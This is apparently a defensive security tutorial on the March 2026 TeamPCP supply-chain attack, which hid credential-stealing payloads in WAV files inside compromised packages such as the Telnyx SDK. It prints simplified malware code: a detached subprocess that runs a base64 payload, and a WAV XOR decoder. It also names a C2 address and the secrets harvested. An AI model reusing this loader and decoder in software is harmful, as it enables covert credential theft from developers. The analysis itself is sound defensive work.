In March 2026, a threat actor known as TeamPCP compromised several popular packages on PyPI and npm - including Trivy, litellm, and the Telnyx SDK - by injecting credential-stealing malware that was hidden inside .WAV audio files. The attack used audio steganography to evade network inspection tools and EDR software, since the downloaded files appeared to be harmless audio. This tutorial breaks down how audio steganography works, how the TeamPCP attack chain operated, and how you can detect and defend against this technique. What Is Audio Steganography? Steganography is the practice of hiding secret data inside an ordinary-looking file. Unlike encryption, which makes data unreadable, steganography hides the existence of the data entirely. Audio steganography specifically hides data inside audio files - WAV, MP3, FLAC, etc. The most common techniques include: LSB (Least Significant Bit): Replacing the least significant bits of audio samples with secret data. The human ear can't perceive the tiny changes in audio quality. Phase Coding: Encoding data by shifting the phase of audio segments. Echo Hiding: Embedding data by introducing echoes into the audio signal. Payload Packing: Stuffing encoded data directly into the audio frame data of a valid container file. The file has a legitimate header and passes file-type checks, but the audio content is entirely payload. The TeamPCP campaign used payload packing - not true LSB steganography, but a technique where the WAV file's frame data contains base64-encoded, XOR-encrypted payloads inside a structurally valid WAV container. The TeamPCP Attack Chain Here is a simplified timeline of TeamPCP's March 2026 campaign: Date Target Method March 19 Trivy (GitHub Actions) Backdoored CI/CD binaries, stole npm/PyPI tokens March 20 46+ npm packages CanisterWorm self-spreading backdoor March 22 Kubernetes environments WAV steganography payload delivery March 24 litellm (PyPI) Credential harvester with .pth persistence March 27 telnyx (PyPI) WAV steganography credential stealer The Telnyx compromise is the most technically interesting. Here's how it worked: Step 1 - Package Compromise TeamPCP obtained the Telnyx maintainer's PyPI publishing token (likely from a prior credential harvest via litellm). They published two malicious versions - 4.87.1 and 4.87.2 - directly to PyPI. The GitHub source repo remained clean. Only 74 lines of malicious code were injected into telnyx/_client.py across three injection points: imports at the top, a base64-encoded payload variable in the middle, and attack functions appended after the legitimate class definitions. Step 2 - Automatic Execution on Import The malicious code runs as soon as import telnyx is executed - no user interaction required. It detects the operating system and branches: Windows: Calls Setup() to download a persistent binary Linux/macOS: Calls FetchAudio() to launch a detached credential harvester Step 3 - WAV File Download On Linux/macOS, the malware spawns a detached subprocess (using start_new_session=True ) so the harvester runs independently even if the parent Python process exits: # Simplified version of the FetchAudio() function def FetchAudio (): if os.name == 'nt' : return try : subprocess.Popen( [sys.executable, "-c" , f "import base64; exec(base64.b64decode(' { _p } ').decode())" ], stdout = subprocess. DEVNULL , stderr = subprocess. DEVNULL , start_new_session = True ) except : pass Copy The decoded _p payload downloads a file called ringtone.wav from the attacker's C2 server at 83.142.209[.]203:8080 . The filename is intentional misdirection - a "ringtone" download is a plausible network request for a telephony SDK. On Windows, it downloads hangup.wav instead - another plausible filename for a communications library. Step 4 - Extracting the Payload from the WAV File This is the core steganography technique. The .WAV file has a valid WAV header and passes MIME-type checks, but its audio frame data contains the actual malicious payload: import wave import base64 def decode_wav_payload (wav_path): with wave.open(wav_path, 'rb' ) as w: # Read all audio frames raw_frames = w.readframes(w.getnframes()) # Decode from base64 decoded = base64.b64decode(raw_frames) # First 8 bytes = XOR key xor_key = decoded[: 8 ] encrypted_payload = decoded[ 8 :] # XOR decrypt the payload payload = bytes ([ encrypted_payload[i] ^ xor_key[i % len (xor_key)] for i in range ( len (encrypted_payload)) ]) return payload Copy The decoding process: Read the WAV file's audio frames using Python's wave module Base64-decode the frame data Extract the first 8 bytes as the XOR key XOR-decrypt the remaining bytes using that key Execute the resulting Python script Step 5 - Credential Harvesting & Exfiltration The decoded payload is an 83-line credential harvesting script that collects: Environment variables (API keys, tokens, secrets) .env files Shell history ( ~/.bash_history , ~/.zsh_history ) SSH keys ( ~/.ssh/ ) Cloud provider credentials (AWS, GCP,...
In March 2026, the TeamPCP threat actor compromised popular PyPI and npm packages, including Telnyx SDK versions 4.87.1 and 4.87.2, by injecting malware that uses audio steganography to hide credential-stealing payloads within WAV files. The attack leveraged a "payload packing" technique, embedding base64-encoded, XOR-encrypted data inside structurally valid WAV containers to evade network inspection and EDR tools. The malicious code executes automatically upon importing the compromised library, downloading the WAV file and extracting the hidden payload to harvest credentials.